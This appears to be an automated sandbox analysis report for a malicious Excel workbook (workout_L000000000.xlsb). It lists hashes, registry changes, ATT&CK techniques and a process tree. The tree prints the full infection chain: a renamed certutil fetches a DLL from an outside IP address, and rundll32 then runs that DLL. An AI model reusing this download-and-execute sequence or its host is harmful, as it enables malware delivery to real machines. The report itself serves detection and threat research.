495bfc6fca2bcdb3e5b5b7994efda1218eacee883c280afada9e88d7b48d512d

General

Target

workout_L000000000.xlsb
Size

334KB
MD5

3121437a9424d2150795147873cbf518
SHA1

5dceca167e8e5271a9d3b9a01e2861323e99c0a6
SHA256

495bfc6fca2bcdb3e5b5b7994efda1218eacee883c280afada9e88d7b48d512d
SHA512

72582bccd674fd88490aefde30c1da74474ca4413faa104ca24c759b2ba05b07759bcb7340a3b42b85a12b99ec9521091be7f0d7e09c619c5c9be004eef6b89a

Score

10^/10

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1792	1820	cmd.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1816	1820	cmd.exe	EXCEL.EXE

Executes dropped EXE 1 IoCs

Processes:

K2KV8Gi.exe

pid process

1164 K2KV8Gi.exe
Loads dropped DLL 1 IoCs

Processes:

EXCEL.EXE

pid process

1820 EXCEL.EXE
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	process
1164	K2KV8Gi.exe

pid	process
1820	EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1820 EXCEL.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

EXCEL.EXE

pid process

1820 EXCEL.EXE
1820 EXCEL.EXE
1820 EXCEL.EXE
1820 EXCEL.EXE
1820 EXCEL.EXE
1820 EXCEL.EXE
1820 EXCEL.EXE

pid	process
1820	EXCEL.EXE

pid	process
1820	EXCEL.EXE
1820	EXCEL.EXE
1820	EXCEL.EXE
1820	EXCEL.EXE
1820	EXCEL.EXE
1820	EXCEL.EXE
1820	EXCEL.EXE

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1820 wrote to memory of 1792	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1792	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1792	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1792	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1164	1820	EXCEL.EXE	K2KV8Gi.exe
PID 1820 wrote to memory of 1164	1820	EXCEL.EXE	K2KV8Gi.exe
PID 1820 wrote to memory of 1164	1820	EXCEL.EXE	K2KV8Gi.exe
PID 1820 wrote to memory of 1164	1820	EXCEL.EXE	K2KV8Gi.exe
PID 1820 wrote to memory of 1816	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1816	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1816	1820	EXCEL.EXE	cmd.exe
PID 1820 wrote to memory of 1816	1820	EXCEL.EXE	cmd.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe
PID 1816 wrote to memory of 1212	1816	cmd.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\workout_L000000000.xlsb
1⤵
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c mkdir %programdata%\K2KV8Gi && copy /b %SystemRoot%\System32\certutil.exe c:\programdata\K2KV8Gi\K2KV8Gi.exe
2⤵
- Process spawned unexpected child process
PID:1792

C:\programdata\K2KV8Gi\K2KV8Gi.exe
"C:\programdata\K2KV8Gi\K2KV8Gi.exe" -urlcache -f -split http://151.236.17.62 c:\programdata\K2KV8Gi\K2KV8Gi.dll
2⤵
- Executes dropped EXE
PID:1164

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\K2KV8Gi\K2KV8Gi.dll,GlobalOut
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\SysWOW64\rundll32.exe
rundll32 C:\ProgramData\K2KV8Gi\K2KV8Gi.dll,GlobalOut
3⤵
PID:1212

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\K2KV8Gi\K2KV8Gi.exe
MD5
7b973145f7e1b59330ca4dd1f86b3d55

SHA1
10ce9174bff4856083e6adad0094a798ced2c079

SHA256
589229e2bd93100049909edf9825dce24ff963a0c465d969027db34e2eb878b4

SHA512
1e910be2a19a13e6f07f290fc5de8f44a3d1427eb216928bd9230337e3c604b1b782acd373e2d051fc3521280610cb05a95cb95ff2e1db110a4593e55709e9b4

Download Submit
C:\programdata\K2KV8Gi\K2KV8Gi.exe
MD5
7b973145f7e1b59330ca4dd1f86b3d55

SHA1
10ce9174bff4856083e6adad0094a798ced2c079

SHA256
589229e2bd93100049909edf9825dce24ff963a0c465d969027db34e2eb878b4

SHA512
1e910be2a19a13e6f07f290fc5de8f44a3d1427eb216928bd9230337e3c604b1b782acd373e2d051fc3521280610cb05a95cb95ff2e1db110a4593e55709e9b4

Download Submit
\ProgramData\K2KV8Gi\K2KV8Gi.exe
MD5
7b973145f7e1b59330ca4dd1f86b3d55

SHA1
10ce9174bff4856083e6adad0094a798ced2c079

SHA256
589229e2bd93100049909edf9825dce24ff963a0c465d969027db34e2eb878b4

SHA512
1e910be2a19a13e6f07f290fc5de8f44a3d1427eb216928bd9230337e3c604b1b782acd373e2d051fc3521280610cb05a95cb95ff2e1db110a4593e55709e9b4

Download Submit
memory/1164-65-0x0000000000000000-mapping.dmp

Download
memory/1164-67-0x0000000075FE1000-0x0000000075FE3000-memory.dmp

Filesize
8KB

Download
memory/1212-69-0x0000000000000000-mapping.dmp

Download
memory/1792-62-0x0000000000000000-mapping.dmp

Download
memory/1816-68-0x0000000000000000-mapping.dmp

Download
memory/1820-59-0x000000002FD61000-0x000000002FD64000-memory.dmp

Filesize
12KB

Download
memory/1820-60-0x0000000071521000-0x0000000071523000-memory.dmp

Filesize
8KB

Download
memory/1820-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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